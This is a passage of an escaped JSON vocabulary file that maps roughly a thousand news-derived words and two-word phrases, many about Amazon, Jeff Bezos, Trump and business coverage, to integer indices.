\"perspective benchmark\": 182659,\n  \"paid federal\": 182660,\n  \"sustainability initiatives\": 182661,\n  \"shopping fiasco\": 182662,\n  \"data venturebeat\": 182663,\n  \"draft commerce\": 182664,\n  \"krakow\": 182665,\n  \"extremely addicting\": 182666,\n  \"oas\": 182667,\n  \"evidence free\": 182668,\n  \"wadtw\": 182669,\n  \"risk tolerance\": 182670,\n  \"emet working\": 182671,\n  \"news sources\": 182672,\n  \"index nationals\": 182673,\n  \"formal tuxedo\": 182674,\n  \"fighting project\": 182675,\n  \"reynolds gerryr812\": 182676,\n  \"interpersonal skills\": 182677,\n  \"state documents\": 182678,\n  \"war shame\": 182679,\n  \"entire families\": 182680,\n  \"regional groups\": 182681,\n  \"private white\": 182682,\n  \"pricing picture\": 182683,\n  \"mini1x1\": 182684,\n  \"ampproject\": 182685,\n  \"founded bezos\": 182686,\n  \"forestry service\": 182687,\n  \"squared\": 182688,\n  \"longest living\": 182689,\n  \"fe\": 182690,\n  \"dow rose\": 182691,\n  \"higher tariffs\": 182692,\n  \"room decorated\": 182693,\n  \"withthese countries\": 182694,\n  \"stiffing\": 182695,\n  \"bourdain\": 182696,\n  \"amazon gains\": 182697,\n  \"post contributing\": 182698,\n  \"recommendations hundreds\": 182699,\n  \"android trump\": 182700,\n  \"reptiles\": 182701,\n  \"alexa devices\": 182702,\n  \"massive migration\": 182703,\n  \"illegal president\": 182704,\n  \"toxic reputation\": 182705,\n  \"current era\": 182706,\n  \"trump buy\": 182707,\n  \"langone\": 182708,\n  \"platooning yielding\": 182709,\n  \"possible indication\": 182710,\n  \"subsequent instagram\": 182711,\n  \"bobblehead\": 182712,\n  \"martin freeman\": 182713,\n  \"impartially\": 182714,\n  \"boxing\": 182715,\n  \"data protection\": 182716,\n  \"future acquisitions\": 182717,\n  \"son eric\": 182718,\n  \"excelsior program\": 182719,\n  \"government rival\": 182720,\n  \"half coming\": 182721,\n  \"outgoing ambassador\": 182722,\n  \"thedemocrats\": 182723,\n  \"india told\": 182724,\n  \"early goldenbenjamin\": 182725,\n  \"wattpad netflix\": 182726,\n  \"care says\": 182727,\n  \"new features\": 182728,\n  \"reading app\": 182729,\n  \"imagined pin\": 182730,\n  \"analyst charlie\": 182731,\n  \"linen\": 182732,\n  \"scale jedi\": 182733,\n  \"body\": 182734,\n  \"stealth\": 182735,\n  \"photographs couldn\": 182736,\n  \"pot sales\": 182737,\n  \"ann henry\": 182738,\n  \"zoya\": 182739,\n  \"bby plans\": 182740,\n  \"recommended slideshows\": 182741,\n  \"dude\": 182742,\n  \"voters asked\": 182743,\n  \"restaurants follow\": 182744,\n  \"thebradblog\": 182745,\n  \"interestingly ceo\": 182746,\n  \"brushes\": 182747,\n  \"meet given\": 182748,\n  \"special airworthiness\": 182749,\n  \"dwarf planet\": 182750,\n  \"price actually\": 182751,\n  \"unflinchingly\": 182752,\n  \"federal trade\": 182753,\n  \"diverse mix\": 182754,\n  \"shipping unless\": 182755,\n  \"torel charges\": 182756,\n  \"carry hold\": 182757,\n  \"berlin photo\": 182758,\n  \"expanding aws\": 182759,\n  \"alibaba taobao\": 182760,\n  \"helps sellers\": 182761,\n  \"competitor claims\": 182762,\n  \"morning raising\": 182763,\n  \"general ken\": 182764,\n  \"creates checks\": 182765,\n  \"early james\": 182766,\n  \"martin yeah\": 182767,\n  \"share nooyi\": 182768,\n  \"business vernon\": 182769,\n  \"report sadly\": 182770,\n  \"sadistic tendencies\": 182771,\n  \"swallowed pill\": 182772,\n  \"generated 586\": 182773,\n  \"leader knopf\": 182774,\n  \"endless series\": 182775,\n  \"knight foundation\": 182776,\n  \"aa ba\": 182777,\n  \"chukumba loop\": 182778,\n  \"company interested\": 182779,\n  \"don regularly\": 182780,\n  \"randy hoeft\": 182781,\n  \"bezos used\": 182782,\n  \"installs lockers\": 182783,\n  \"robert\": 182784,\n  \"scripts dipped\": 182785,\n  \"leading research\": 182786,\n  \"record live\": 182787,\n  \"reproach\": 182788,\n  \"doing business\": 182789,\n  \"slammed house\": 182790,\n  \"financial records\": 182791,\n  \"awfully confusing\": 182792,\n  \"audio recording\": 182793,\n  \"operated 536\": 182794,\n  \"chicago earlier\": 182795,\n  \"different ways\": 182796,\n  \"wrinkles\": 182797,\n  \"depot\": 182798,\n  \"grammy nominated\": 182799,\n  \"r4ee g7a\": 182800,\n  \"benefits\": 182801,\n  \"halloween set\": 182802,\n  \"law doing\": 182803,\n  \"crossers\": 182804,\n  \"immediately joined\": 182805,\n  \"candies gum\": 182806,\n  \"ruminated\": 182807,\n  \"says canaccord\": 182808,\n  \"jim gray\": 182809,\n  \"lawmakers seeking\": 182810,\n  \"bullet features\": 182811,\n  \"grote\": 182812,\n  \"600 results\": 182813,\n  \"busch facebook\": 182814,\n  \"afternoon bezos\": 182815,\n  \"funny elizabeth\": 182816,\n  \"volunteers kicked\": 182817,\n  \"jeff schapiro\": 182818,\n  \"potential competitor\": 182819,\n  \"delusions\": 182820,\n  \"newspaper owned\": 182821,\n  \"frequent rants\": 182822,\n  \"seasons amazon\": 182823,\n  \"2018 investors\": 182824,\n  \"emre doubleday\": 182825,\n  \"absurdist feminist\": 182826,\n  \"underwhelm\": 182827,\n  \"esd history\": 182828,\n  \"earlier asked\": 182829,\n  \"18125765 postal\": 182830,\n  \"falcon search\": 182831,\n  \"states democrats\": 182832,\n  \"campus police\": 182833,\n  \"material way\": 182834,\n  \"wouldn scale\": 182835,\n  \"technological breakthrough\": 182836,\n  \"drugstores\": 182837,\n  \"months tracking\": 182838,\n  \"pay employees\": 182839,\n  \"chinese president\": 182840,\n  \"sellers determine\": 182841,\n  \"don nail\": 182842,\n  \"leading hypothetical\": 182843,\n  \"friend michael\": 182844,\n  \"shakes\": 182845,\n  \"nintendo labo\": 182846,\n  \"kill practice\": 182847,\n  \"personal loans\": 182848,\n  \"2020 thank\": 182849,\n  \"statement following\": 182850,\n  \"nonetheless anti\": 182851,\n  \"manipulating witnesses\": 182852,\n  \"gigabyte\": 182853,\n  \"3dpi jpgnews\": 182854,\n  \"tracks iot\": 182855,\n  \"trouble south\": 182856,\n  \"bartender\": 182857,\n  \"armed separatists\": 182858,\n  \"graham roland\": 182859,\n  \"new taskforce\": 182860,\n  \"media appeared\": 182861,\n  \"things infowars\": 182862,\n  \"million americans\": 182863,\n  \"pairing\": 182864,\n  \"kundu\": 182865,\n  \"academia\": 182866,\n  \"eu wants\": 182867,\n  \"summit backlash\": 182868,\n  \"best shows\": 182869,\n  \"cash flows\": 182870,\n  \"motivated says\": 182871,\n  \"online slammed\": 182872,\n  \"davenport\": 182873,\n  \"reed adventurer\": 182874,\n  \"campaign bezos\": 182875,\n  \"update despite\": 182876,\n  \"law expert\": 182877,\n  \"actually transition\": 182878,\n  \"v9 m2x\": 182879,\n  \"burgeoning digital\": 182880,\n  \"height 259\": 182881,\n  \"constituents\": 182882,\n  \"weakening\": 182883,\n  \"constitutional right\": 182884,\n  \"mark faram\": 182885,\n  \"keeping facebook\": 182886,\n  \"chosen corporations\": 182887,\n  \"west oak\": 182888,\n  \"amazing thing\": 182889,\n  \"start treating\": 182890,\n  \"camo\": 182891,\n  \"tana\": 182892,\n  \"notes king\": 182893,\n  \"international consensus\": 182894,\n  \"2000 saw\": 182895,\n  \"raises larger\": 182896,\n  \"penis ami\": 182897,\n  \"ii orwell\": 182898,\n  \"agreement arrived\": 182899,\n  \"low trump\": 182900,\n  \"warplanes\": 182901,\n  \"danielle says\": 182902,\n  \"286 vendors\": 182903,\n  \"recruiting talent\": 182904,\n  \"inconsequential\": 182905,\n  \"promptly\": 182906,\n  \"teslas\": 182907,\n  \"profile photograph\": 182908,\n  \"worthy announces\": 182909,\n  \"entire group\": 182910,\n  \"good thing\": 182911,\n  \"inhaling\": 182912,\n  \"sells clothes\": 182913,\n  \"gotten hasn\": 182914,\n  \"raccoon rescue\": 182915,\n  \"contrast rep\": 182916,\n  \"month copyright_reutersapi\": 182917,\n  \"act passes\": 182918,\n  \"proven competence\": 182919,\n  \"naturalism\": 182920,\n  \"executives\": 182921,\n  \"degrassi reunion\": 182922,\n  \"jward56\": 182923,\n  \"achievement award\": 182924,\n  \"companies apart\": 182925,\n  \"booming new\": 182926,\n  \"entire range\": 182927,\n  \"brat va\": 182928,\n  \"gianaris democrat\": 182929,\n  \"max investigation\": 182930,\n  \"sharp rise\": 182931,\n  \"energy energy\": 182932,\n  \"time allow\": 182933,\n  \"stephanie strathdee\": 182934,\n  \"incorporate user\": 182935,\n  \"216 8711\": 182936,\n  \"bezos trump\": 182937,\n  \"videogame\": 182938,\n  \"likemust meet\": 182939,\n  \"wapo registered\": 182940,\n  \"absorbable\": 182941,\n  \"descriptionplaintext airbnb\": 182942,\n  \"conditioning\": 182943,\n  \"high amazon\": 182944,\n  \"9billion french\": 182945,\n  \"400 american\": 182946,\n  \"frankly disgusting\": 182947,\n  \"site hot\": 182948,\n  \"blissfully\": 182949,\n  \"governments utilise\": 182950,\n  \"easily depreciates\": 182951,\n  \"backed year\": 182952,\n  \"acrobatics\": 182953,\n  \"zimmerman stalking\": 182954,\n  \"robinson\": 182955,\n  \"hue\": 182956,\n  \"destination sen\": 182957,\n  \"deploys\": 182958,\n  \"saying friends\": 182959,\n  \"public release\": 182960,\n  \"eu hits\": 182961,\n  \"interfering\": 182962,\n  \"interests aiming\": 182963,\n  \"110 walmart\": 182964,\n  \"734\": 182965,\n  \"lorry\": 182966,\n  \"companies noting\": 182967,\n  \"defined month\": 182968,\n  \"implants\": 182969,\n  \"customers include\": 182970,\n  \"mammal flesh\": 182971,\n  \"china inflation\": 182972,\n  \"bento albuquerque\": 182973,\n  \"flung businesses\": 182974,\n  \"thousand dollars\": 182975,\n  \"dental\": 182976,\n  \"curlingly\": 182977,\n  \"rutte\": 182978,\n  \"newspaper reporters\": 182979,\n  \"dropped dead\": 182980,\n  \"tysons\": 182981,\n  \"investigators concluded\": 182982,\n  \"covered trump\": 182983,\n  \"repeatedly lashed\": 182984,\n  \"lady says\": 182985,\n  \"new weboost\": 182986,\n  \"souder\": 182987,\n  \"echoes amazon\": 182988,\n  \"television pundits\": 182989,\n  \"toxic pesticides\": 182990,\n  \"week predicting\": 182991,\n  \"stores nyse\": 182992,\n  \"consumer d2c\": 182993,\n  \"opposition efforts\": 182994,\n  \"144 clark\": 182995,\n  \"carter journalism\": 182996,\n  \"continued demand\": 182997,\n  \"erect manhood\": 182998,\n  \"ja vu\": 182999,\n  \"xingu\": 183000,\n  \"weindling\": 183001,\n  \"couple called\": 183002,\n  \"company emarketer\": 183003,\n  \"recognition technology\": 183004,\n  \"lobby group\": 183005,\n  \"highest share\": 183006,\n  \"trump credible\": 183007,\n  \"andrew gillum\": 183008,\n  \"cola nyse\": 183009,\n  \"trump clothing\": 183010,\n  \"schrader ethan\": 183011,\n  \"market pretty\": 183012,\n  \"nelson mandela\": 183013,\n  \"subjected\": 183014,\n  \"program using\": 183015,\n  \"girl best\": 183016,\n  \"radio reporter\": 183017,\n  \"molehill\": 183018,\n  \"primary focus\": 183019,\n  \"espresso reader\": 183020,\n  \"mathew\": 183021,\n  \"_from\": 183022,\n  \"comparatively expensive\": 183023,\n  \"indonesia philippines\": 183024,\n  \"delay action\": 183025,\n  \"contain human\": 183026,\n  \"valuable customer\": 183027,\n  \"include infrastructure\": 183028,\n  \"force placing\": 183029,\n  \"deficit varney\": 183030,\n  \"29billion\": 183031,\n  \"host stephanie\": 183032,\n  \"amazon greatest\": 183033,\n  \"deals flash\": 183034,\n  \"important investment\": 183035,\n  \"426\": 183036,\n  \"becker believes\": 183037,\n  \"billion public\": 183038,\n  \"peterson innocence\": 183039,\n  \"slot machines\": 183040,\n  \"korean rival\": 183041,\n  \"congressman thanks\": 183042,\n  \"television host\": 183043,\n  \"hip hop\": 183044,\n  \"credited bezos\": 183045,\n  \"old social\": 183046,\n  \"commentary julia\": 183047,\n  \"national committee\": 183048,\n  \"memoir covers\": 183049,\n  \"trump card\": 183050,\n  \"mitchell katie\": 183051,\n  \"constitutional\": 183052,\n  \"rubio fan\": 183053,\n  \"office amazon\": 183054,\n  \"include paul\": 183055,\n  \"rising global\": 183056,\n  \"dust\": 183057,\n  \"meaningful increase\": 183058,\n  \"children gary\": 183059,\n  \"considered risky\": 183060,\n  \"sorry unclear\": 183061,\n  \"best guess\": 183062,\n  \"mylesudland\": 183063,\n  \"crm\": 183064,\n  \"chewed\": 183065,\n  \"strategic global\": 183066,\n  \"tanzania\": 183067,\n  \"juuls headquarters\": 183068,\n  \"seattle commerce\": 183069,\n  \"rescind\": 183070,\n  \"barb\": 183071,\n  \"source alex\": 183072,\n  \"highly recommended\": 183073,\n  \"888 billion\": 183074,\n  \"analytic\": 183075,\n  \"cbs government\": 183076,\n  \"rowan\": 183077,\n  \"castle metahelm\": 183078,\n  \"retailer failed\": 183079,\n  \"649 shares\": 183080,\n  \"kentucky recently\": 183081,\n  \"arrests\": 183082,\n  \"baltimore amazon\": 183083,\n  \"hour right\": 183084,\n  \"photo storage\": 183085,\n  \"reinstated\": 183086,\n  \"major price\": 183087,\n  \"class heather\": 183088,\n  \"you\\u00e2re\": 183089,\n  \"company generated\": 183090,\n  \"issue betras\": 183091,\n  \"shipping game\": 183092,\n  \"improper contact\": 183093,\n  \"making radical\": 183094,\n  \"choate inv\": 183095,\n  \"loss sharing\": 183096,\n  \"absorb costs\": 183097,\n  \"trump arbitrary\": 183098,\n  \"digitally\": 183099,\n  \"develop real\": 183100,\n  \"fully learned\": 183101,\n  \"fate uncertain\": 183102,\n  \"culture words\": 183103,\n  \"bezos multi\": 183104,\n  \"allies staff\": 183105,\n  \"statement coming\": 183106,\n  \"especially thrilling\": 183107,\n  \"reduce irs\": 183108,\n  \"ivy leaguers\": 183109,\n  \"effectively grind\": 183110,\n  \"buzzfeed josh\": 183111,\n  \"members include\": 183112,\n  \"addabbo jr\": 183113,\n  \"unexceptional collection\": 183114,\n  \"bezos toolkit\": 183115,\n  \"highly skilled\": 183116,\n  \"credit refundable\": 183117,\n  \"flashing\": 183118,\n  \"divided supreme\": 183119,\n  \"prime members\": 183120,\n  \"shelby alabama\": 183121,\n  \"innovation wide\": 183122,\n  \"___ faa\": 183123,\n  \"blitzscaling\": 183124,\n  \"tesla bear\": 183125,\n  \"tweet jan\": 183126,\n  \"cohen tells\": 183127,\n  \"story jesse\": 183128,\n  \"led droop\": 183129,\n  \"extra week\": 183130,\n  \"currently resides\": 183131,\n  \"plot\": 183132,\n  \"promptly scored\": 183133,\n  \"shareholders recently\": 183134,\n  \"surely\": 183135,\n  \"investors shrugged\": 183136,\n  \"disservice\": 183137,\n  \"snacks way\": 183138,\n  \"meaning amazon\": 183139,\n  \"clarence\": 183140,\n  \"protracted\": 183141,\n  \"anna wintour\": 183142,\n  \"worsen income\": 183143,\n  \"conversion therapy\": 183144,\n  \"resettlement leader\": 183145,\n  \"battle brewing\": 183146,\n  \"amazing team\": 183147,\n  \"sessions meets\": 183148,\n  \"firm wedbush\": 183149,\n  \"case c9x\": 183150,\n  \"aside 565\": 183151,\n  \"rep\\u00f3rter nbr\": 183152,\n  \"told law\": 183153,\n  \"pro choice\": 183154,\n  \"public cloud\": 183155,\n  \"exacerbated\": 183156,\n  \"california task\": 183157,\n  \"quagmire\": 183158,\n  \"russian royal\": 183159,\n  \"massachusetts sent\": 183160,\n  \"sought documents\": 183161,\n  \"repurchased\": 183162,\n  \"includinga\": 183163,\n  \"core complaint\": 183164,\n  \"course free\": 183165,\n  \"rc1d900f0700\": 183166,\n  \"stunning shots\": 183167,\n  \"resolve\": 183168,\n  \"doing great\": 183169,\n  \"trading environment\": 183170,\n  \"resistance official\": 183171,\n  \"fact increase\": 183172,\n  \"border crisis\": 183173,\n  \"read harry\": 183174,\n  \"pingpong\": 183175,\n  \"smuggling\": 183176,\n  \"1360479\": 183177,\n  \"oracle filed\": 183178,\n  \"hard kissed\": 183179,\n  \"van mcgehee\": 183180,\n  \"fair claimed\": 183181,\n  \"story claiming\": 183182,\n  \"pared\": 183183,\n  \"halloween 2018\": 183184,\n  \"false charges\": 183185,\n  \"firms isn\": 183186,\n  \"entire life\": 183187,\n  \"chided sanders\": 183188,\n  \"borough\": 183189,\n  \"wailed\": 183190,\n  \"emirates academic\": 183191,\n  \"caucasian\": 183192,\n  \"amazon ken\": 183193,\n  \"distributed data\": 183194,\n  \"trumpocracy\": 183195,\n  \"bloomberg nixon\": 183196,\n  \"condition worsened\": 183197,\n  \"cooper u003c\": 183198,\n  \"ordering small\": 183199,\n  \"gop rep\": 183200,\n  \"ceo ended\": 183201,\n  \"posted earlier\": 183202,\n  \"hometown hyperlocal\": 183203,\n  \"making huge\": 183204,\n  \"newman source\": 183205,\n  \"politico anthony\": 183206,\n  \"presidential harassment\": 183207,\n  \"hellmann\": 183208,\n  \"new findings\": 183209,\n  \"higher stock\": 183210,\n  \"actually saw\": 183211,\n  \"email listed\": 183212,\n  \"major sports\": 183213,\n  \"management reported\": 183214,\n  \"920 implying\": 183215,\n  \"facebook earlier\": 183216,\n  \"corporations expect\": 183217,\n  \"crime drama\": 183218,\n  \"diversity saying\": 183219,\n  \"schiff amazon\": 183220,\n  \"wall according\": 183221,\n  \"president social\": 183222,\n  \"individual elements\": 183223,\n  \"lender ace\": 183224,\n  \"people google\": 183225,\n  \"stocks based\": 183226,\n  \"send equipment\": 183227,\n  \"national markets\": 183228,\n  \"readmoretext_aut slideshow\": 183229,\n  \"zinke attended\": 183230,\n  \"sigh\": 183231,\n  \"refurbishing\": 183232,\n  \"determine exactly\": 183233,\n  \"lot amazon\": 183234,\n  \"stop importing\": 183235,\n  \"perfect present\": 183236,\n  \"buzz facebook\": 183237,\n  \"pit\": 183238,\n  \"100 margin\": 183239,\n  \"wattpad website\": 183240,\n  \"advisor positions\": 183241,\n  \"boost consumption\": 183242,\n  \"russian backed\": 183243,\n  \"shadow banning\": 183244,\n  \"philadelphia suburbs\": 183245,\n  \"ambition blinded\": 183246,\n  \"welfare policies\": 183247,\n  \"corporate cloud\": 183248,\n  \"photos taiwan\": 183249,\n  \"200\": 183250,\n  \"dictatorship\": 183251,\n  \"getting code\": 183252,\n  \"market source\": 183253,\n  \"progressives whoare\": 183254,\n  \"market research\": 183255,\n  \"needs attention\": 183256,\n  \"haverty\": 183257,\n  \"heute\": 183258,\n  \"placed squarely\": 183259,\n  \"forger\": 183260,\n  \"trump showed\": 183261,\n  \"inflammatory language\": 183262,\n  \"public feud\": 183263,\n  \"currently expired\": 183264,\n  \"compelling charismatic\": 183265,\n  \"techniques\": 183266,\n  \"zgutowicz sees\": 183267,\n  \"galactic blue\": 183268,\n  \"2018 stocking\": 183269,\n  \"taking issue\": 183270,\n  \"safe spaces\": 183271,\n  \"campaign speeches\": 183272,\n  \"properties\": 183273,\n  \"threw\": 183274,\n  \"spotlight away\": 183275,\n  \"appealing alternative\": 183276,\n  \"agencies according\": 183277,\n  \"nazi sympathisers\": 183278,\n  \"backed healthcare\": 183279,\n  \"expands amazon\": 183280,\n  \"banking license\": 183281,\n  \"twitter confirmed\": 183282,\n  \"tweets person\": 183283,\n  \"shares surged\": 183284,\n  \"pearce\": 183285,\n  \"vt gary\": 183286,\n  \"dubbed contextual\": 183287,\n  \"reputation remains\": 183288,\n  \"amazon water\": 183289,\n  \"needham names\": 183290,\n  \"sweet savory\": 183291,\n  \"years editor\": 183292,\n  \"thomson reuters\": 183293,\n  \"management fulfillment\": 183294,\n  \"kim regime\": 183295,\n  \"judge peter\": 183296,\n  \"hate figure\": 183297,\n  \"exploration alongside\": 183298,\n  \"leon talley\": 183299,\n  \"club yesterday\": 183300,\n  \"eruption chicago\": 183301,\n  \"lazzaro\": 183302,\n  \"mozart\": 183303,\n  \"bezos exposed\": 183304,\n  \"noble fell\": 183305,\n  \"share doubled\": 183306,\n  \"retailers story\": 183307,\n  \"importance\": 183308,\n  \"nossies\": 183309,\n  \"finds search\": 183310,\n  \"sense city\": 183311,\n  \"greenback\": 183312,\n  \"deborah weinswig\": 183313,\n  \"bolster\": 183314,\n  \"contained standard\": 183315,\n  \"sunken place\": 183316,\n  \"wall house\": 183317,\n  \"chairman lindsey\": 183318,\n  \"3000\": 183319,\n  \"banning acosta\": 183320,\n  \"liaison\": 183321,\n  \"wawx\": 183322,\n  \"foggy start\": 183323,\n  \"recommends match\": 183324,\n  \"sparkling\": 183325,\n  \"wealthiest man\": 183326,\n  \"gmobogys5r fast\": 183327,\n  \"left believe\": 183328,\n  \"statement challenge\": 183329,\n  \"says human\": 183330,\n  \"strengthen amazon\": 183331,\n  \"labor giveaway\": 183332,\n  \"family center\": 183333,\n  \"btig analysts\": 183334,\n  \"laws big\": 183335,\n  \"mark 2018\": 183336,\n  \"hollywood agent\": 183337,\n  \"onesie\": 183338,\n  \"shoaib malik\": 183339,\n  \"investment strategist\": 183340,\n  \"game buy\": 183341,\n  \"charlie\": 183342,\n  \"overall customer\": 183343,\n  \"visualize\": 183344,\n  \"discussed bringing\": 183345,\n  \"residential construction\": 183346,\n  \"nose runs\": 183347,\n  \"doffed\": 183348,\n  \"reform school\": 183349,\n  \"music new\": 183350,\n  \"ira contributions\": 183351,\n  \"criticisms amazon\": 183352,\n  \"essentially platform\": 183353,\n  \"presidential nemesis\": 183354,\n  \"party result\": 183355,\n  \"interview begin\": 183356,\n  \"volumes fedex\": 183357,\n  \"angeles newscaster\": 183358,\n  \"states biggest\": 183359,\n  \"fundamental principles\": 183360,\n  \"counterfeit lists\": 183361,\n  \"kindred spirits\": 183362,\n  \"sabrina\": 183363,\n  \"deal later\": 183364,\n  \"digital\": 183365,\n  \"calif volunteers\": 183366,\n  \"gonzales says\": 183367,\n  \"dispatched\": 183368,\n  \"peggy\": 183369,\n  \"costco development\": 183370,\n  \"jon fine\": 183371,\n  \"salt farms\": 183372,\n  \"paige\": 183373,\n  \"stairs\": 183374,\n  \"arises\": 183375,\n  \"jerseys\": 183376,\n  \"gop writ\": 183377,\n  \"president tweeted\": 183378,\n  \"required sears\": 183379,\n  \"leaning supreme\": 183380,\n  \"slides source\": 183381,\n  \"suits\": 183382,\n  \"bold new\": 183383,\n  \"ceasar chairman\": 183384,\n  \"studies confirm\": 183385,\n  \"thepoke\": 183386,\n  \"publish unpublished\": 183387,\n  \"landslide douglas\": 183388,\n  \"hurston check\": 183389,\n  \"teens love\": 183390,\n  \"later major\": 183391,\n  \"assets acquired\": 183392,\n  \"successful businessman\": 183393,\n  \"exclusive joint\": 183394,\n  \"lower global\": 183395,\n  \"catholic church\": 183396,\n  \"henry bauer\": 183397,\n  \"mean resist\": 183398,\n  \"agency standard\": 183399,\n  \"supplemental\": 183400,\n  \"thebeatwithari\": 183401,\n  \"150 000\": 183402,\n  \"grandinetti pointed\": 183403,\n  \"obviously cost\": 183404,\n  \"actually listed\": 183405,\n  \"ctc leads\": 183406,\n  \"don receive\": 183407,\n  \"monopoly trump\": 183408,\n  \"gory\": 183409,\n  \"claiming landfills\": 183410,\n  \"jobs empire\": 183411,\n  \"evil held\": 183412,\n  \"elegant functional\": 183413,\n  \"thune\": 183414,\n  \"beginner\": 183415,\n  \"stitcher\": 183416,\n  \"runs critical\": 183417,\n  \"self regard\": 183418,\n  \"away herera\": 183419,\n  \"gains posted\": 183420,\n  \"pink news\": 183421,\n  \"artificial\": 183422,\n  \"reach stock\": 183423,\n  \"business ___\": 183424,\n  \"just single\": 183425,\n  \"500 financial\": 183426,\n  \"libertarians\": 183427,\n  \"challenge stars\": 183428,\n  \"nightmare trump\": 183429,\n  \"media coverage\": 183430,\n  \"sanders recently\": 183431,\n  \"tony reputation\": 183432,\n  \"year continue\": 183433,\n  \"white shoe\": 183434,\n  \"nemesis ted\": 183435,\n  \"subway systems\": 183436,\n  \"trends remaining\": 183437,\n  \"customers contributed\": 183438,\n  \"administration trump\": 183439,\n  \"basin operations\": 183440,\n  \"maniac netflix\": 183441,\n  \"walter skip\": 183442,\n  \"linkedin\": 183443,\n  \"softon\": 183444,\n  \"ahead investors\": 183445,\n  \"bought potential\": 183446,\n  \"deception\": 183447,\n  \"astonishing mean\": 183448,\n  \"workplace including\": 183449,\n  \"uniquely resonates\": 183450,\n  \"rob reiner\": 183451,\n  \"various markets\": 183452,\n  \"amazon web\": 183453,\n  \"lose half\": 183454,\n  \"york stressed\": 183455,\n  \"alex bailey\": 183456,\n  \"7cmain\": 183457,\n  \"includes process\": 183458,\n  \"service called\": 183459,\n  \"landowners bolsonaro\": 183460,\n  \"joined forces\": 183461,\n  \"potentially potentially\": 183462,\n  \"efforts cities\": 183463,\n  \"falsely asserted\": 183464,\n  \"place undue\": 183465,\n  \"pretending\": 183466,\n  \"leaders sign\": 183467,\n  \"sellers alibaba\": 183468,\n  \"benefit trump\": 183469,\n  \"siemens ag\": 183470,\n  \"national obsession\": 183471,\n  \"conference globenewswire\": 183472,\n  \"amid divorce\": 183473,\n  \"book heartland\": 183474,\n  \"illion yillion\": 183475,\n  \"favored corporate\": 183476,\n  \"froome victory\": 183477,\n  \"maga hat\": 183478,\n  \"suspect political\": 183479,\n  \"beast bezos\": 183480,\n  \"secure european\": 183481,\n  \"longstanding ties\": 183482,\n  \"company ironically\": 183483,\n  \"nshongore reverend\": 183484,\n  \"bezos repay\": 183485,\n  \"internal data\": 183486,\n  \"flywheel effect\": 183487,\n  \"grievances include\": 183488,\n  \"exposes pecker\": 183489,\n  \"abandon plastic\": 183490,\n  \"weeks political\": 183491,\n  \"seller charts\": 183492,\n  \"longstanding friend\": 183493,\n  \"tonyatamanuik\": 183494,\n  \"crew managed\": 183495,\n  \"organized crime\": 183496,\n  \"revenue fall\": 183497,\n  \"social cats\": 183498,\n  \"movement group\": 183499,\n  \"contrasting colors\": 183500,\n  \"options trader\": 183501,\n  \"suv crash\": 183502,\n  \"jones called\": 183503,\n  \"eye opening\": 183504,\n  \"world pre\": 183505,\n  \"delhi state\": 183506,\n  \"eventual collapse\": 183507,\n  \"later old\": 183508,\n  \"excellent laces\": 183509,\n  \"business benefits\": 183510,\n  \"valedictorians bad\": 183511,\n  \"critics ex\": 183512,\n  \"jay duplass\": 183513,\n  \"particularly pertinent\": 183514,\n  \"paulo environment\": 183515,\n  \"monthly bonus\": 183516,\n  \"2013 essay\": 183517,\n  \"test flagged\": 183518,\n  \"previous debates\": 183519,\n  \"say tax\": 183520,\n  \"worldwide consumer\": 183521,\n  \"analyst estimates\": 183522,\n  \"storefront\": 183523,\n  \"helping amazon\": 183524,\n  \"published story\": 183525,\n  \"major customer\": 183526,\n  \"anti abortionists\": 183527,\n  \"3d systems\": 183528,\n  \"border edition\": 183529,\n  \"california does\": 183530,\n  \"susan hennessey\": 183531,\n  \"motivated blackmail\": 183532,\n  \"npdholiday\": 183533,\n  \"quarter gdp\": 183534,\n  \"greater protection\": 183535,\n  \"\\u0645\\u0642\\u0627\\u0637\\u0639\\u0647_\\u0627\\u0645\\u0627\\u0632\\u0648\\u0646 \\u0627\\u062d\": 183536,\n  \"national prominence\": 183537,\n  \"vchn4mguwb cnn\": 183538,\n  \"clintons\": 183539,\n  \"workers support\": 183540,\n  \"amal clooney\": 183541,\n  \"connection allow\": 183542,\n  \"vaccine industry\": 183543,\n  \"previous novel\": 183544,\n  \"austria national\": 183545,\n  \"source projects\": 183546,\n  \"pressure europe\": 183547,\n  \"train reading\": 183548,\n  \"area politico\": 183549,\n  \"california rep\": 183550,\n  \"petition concludes\": 183551,\n  \"echo speakers\": 183552,\n  \"biggest upset\": 183553,\n  \"times week\": 183554,\n  \"fagna\": 183555,\n  \"midterms kim\": 183556,\n  \"causes political\": 183557,\n  \"dominating 2017\": 183558,\n  \"directly contrary\": 183559,\n  \"tish james\": 183560,\n  \"oxide torrent\": 183561,\n  \"author rick\": 183562,\n  \"sanchez left\": 183563,\n  \"york deserves\": 183564,\n  \"taxed companies\": 183565,\n  \"industries sen\": 183566,\n  \"2016 geekwire\": 183567,\n  \"removing sellers\": 183568,\n  \"period trump\": 183569,\n  \"addressing question\": 183570,\n  \"amie kershner\": 183571,\n  \"aligned pro\": 183572,\n  \"political risk\": 183573,\n  \"slams auction\": 183574,\n  \"numbers blue\": 183575,\n  \"stobe hide\": 183576,\n  \"texts according\": 183577,\n  \"immigration experts\": 183578,\n  \"taxes poorer\": 183579,\n  \"saw customers\": 183580,\n  \"steadily eroded\": 183581,\n  \"liberties lawyer\": 183582,\n  \"securities\": 183583,\n  \"exposing fundamental\": 183584,\n  \"eater ny\": 183585,\n  \"city division\": 183586,\n  \"atthe\": 183587,\n  \"possible google\": 183588,\n  \"workers claim\": 183589,\n  \"resulting rush\": 183590,\n  \"whetlor quadrille\": 183591,\n  \"sun reports\": 183592,\n  \"new building\": 183593,\n  \"approximate\": 183594,\n  \"cause republicans\": 183595,\n  \"capitalism new\": 183596,\n  \"fb lb\": 183597,\n  \"fmla\": 183598,\n  \"mary\": 183599,\n  \"intense media\": 183600,\n  \"island john\": 183601,\n  \"eventually decided\": 183602,\n  \"checking box\": 183603,\n  \"ceremony honoring\": 183604,\n  \"wsj tesla\": 183605,\n  \"regressive tax\": 183606,\n  \"shares compton\": 183607,\n  \"day delivery\": 183608,\n  \"bagged\": 183609,\n  \"solve crimes\": 183610,\n  \"tech wizes\": 183611,\n  \"voters voted\": 183612,\n  \"economic systems\": 183613,\n  \"rich trick\": 183614,\n  \"free echo\": 183615,\n  \"schtum\": 183616,\n  \"allies lie\": 183617,\n  \"9pm pt\": 183618,\n  \"amazon profitably\": 183619,\n  \"brevis\": 183620,\n  \"states plus\": 183621,\n  \"year income\": 183622,\n  \"laundered yuge\": 183623,\n  \"2019 james\": 183624,\n  \"artful living\": 183625,\n  \"nov 2017jeff\": 183626,\n  \"turkeys previous\": 183627,\n  